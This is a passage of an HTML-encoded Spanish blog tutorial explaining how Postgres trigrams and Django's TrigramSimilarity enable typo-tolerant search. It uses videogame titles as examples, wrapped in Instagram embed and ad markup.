max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CYCWN7yt9A8&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;h2 id=&#34;trigramas-en-django-y-postgres&#34;&gt;Trigramas en Django y Postgres&lt;/h2&gt;&#xA;&lt;p&gt;Pero, ¿cómo sabe nuestra aplicación que cuando un usuario escribe &amp;ldquo;parfume&amp;rdquo; probablemente se refiera a &amp;ldquo;perfume&amp;rdquo;?&lt;/p&gt;&#xA;&lt;p&gt;La razón de que parfume se parezca a perfume es porque ambos contienen trigramas similares.&lt;/p&gt;&#xA;&lt;p&gt;¿Trigrama? Sí, trigrama, de tres y grama. &lt;strong&gt;Un trigrama son tres caracteres consecutivos&lt;/strong&gt;, así de sencillo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams_tqmzs7.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams_tqmzs7.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de los trigramas de automata&#34; width=&#34;600&#34; height=&#34;425&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Trigramas son tres caracteres consecutivos&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;trigramas-y-palabras-similares&#34;&gt;Trigramas y palabras similares&lt;/h2&gt;&#xA;&lt;p&gt;Según &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.postgresql.org/docs/12/pgtrgm.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Postgres&lt;/a&gt;&#xA;, &lt;strong&gt;podemos saber que tan similares son dos cadenas de texto comparando el número de trigramas que comparten.&lt;/strong&gt; Y Django nos provee funciones para trabajar con trigramas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__trigram_similar&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;automatta&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# debería decir automata&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__trigram_similar&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;autommattaa&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# debería decir automata&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...FROM &amp;#34;videogame_videogame&amp;#34; WHERE UNACCENT(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;) % UNACCENT(autommata)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira los trigramas para la palabra &amp;ldquo;automata&amp;rdquo; directo desde la terminal de postgres&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; show_trgm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;automata&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  show_trgm                  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;---------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;  a&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; au&amp;#34;&lt;/span&gt;,ata,aut,mat,oma,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ta &amp;#34;&lt;/span&gt;,tom,uto&lt;span style=&#34;color:#ff5c57&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora observa los trigramas para &amp;ldquo;automatta&amp;rdquo; (si no lo notaste, este tiene doble &amp;ldquo;t&amp;rdquo;)&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; show_trgm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;autommattaa&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        show_trgm                        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;---------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;  a&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; au&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;aa &amp;#34;&lt;/span&gt;,att,aut,mat,mma,omm,taa,tom,tta,uto&lt;span style=&#34;color:#ff5c57&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Puedes notar como ambos comparten algunos trigramas? (a, au, aut, mat, tom, uto)&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams-intersection_cnapb1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams-intersection_cnapb1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Trigramas compartidos entre dos cadenas de texto.&#34; width=&#34;1200&#34; height=&#34;564&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Observa también que las comillas alrededor de ciertos trigramas son para especificar trigramas con espacios&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;La cantidad de trigramas que comparten un par de cadenas de texto puede expresarse por medio de un índice&lt;/strong&gt;. A mayor cantidad de trigramas compartidos mayor será este índice.&lt;/p&gt;&#xA;&lt;p&gt;Podemos encontrar el índice de similitud, de acuerdo a sus trigramas, entre dos palabras desde la terminal de postgres.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; word_similarity(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;outer worlds&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wilds&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; word_similarity &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-----------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;          &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;1875&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ordenar-por-similaridad-con-trigramas&#34;&gt;Ordenar por similaridad con trigramas&lt;/h3&gt;&#xA;&lt;p&gt;¿Y que pasa si queremos que nuestra búsqueda en Django encuentre incluso aquellas palabras que coinciden en una menor cantidad de trigramas?&lt;/p&gt;&#xA;&lt;p&gt;Usando el ORM de Django &lt;strong&gt;con la función &lt;em&gt;TrigramSimilarity&lt;/em&gt; podemos filtrar aquellos resultados estableciendo un límite de similaridad&lt;/strong&gt; entre una palabra de búsqueda y nuestros datos.&lt;/p&gt;&#xA;&lt;p&gt;Si no recuerdas para que sirve Django annotate, tengo una entrada donde te explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/&#34;&gt;django annotate y aggregate, así como sus diferencias.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TrigramSimilarity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(similarity&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;TrigramSimilarity(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wilds&amp;#39;&lt;/span&gt;), )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(similarity__gt&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.1&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-similarity&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Outer wilds&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Outer worlds&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Con un indice de similaridad de 0.1 wilds y worlds coinciden&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;similarity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# 0.5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...SIMILARITY(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, wilds) AS &amp;#34;similarity&amp;#34; FROM &amp;#34;videogame_videogame&amp;#34; WHERE SIMILARITY(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, wilds) &amp;gt; 0.1 ORDER BY &amp;#34;similarity&amp;#34; DESC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;search-rank-para-ordenar-por-relevancia&#34;&gt;Search rank para ordenar por relevancia&lt;/h2&gt;&#xA;&lt;p&gt;Si un usuario busca una laptop y tu aplicación le muestra primero fundas para laptop, mochilas para laptop, demás artículos relacionados y hasta el final las laptops, estás brindándole una experiencia inadecuada como usuario.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; 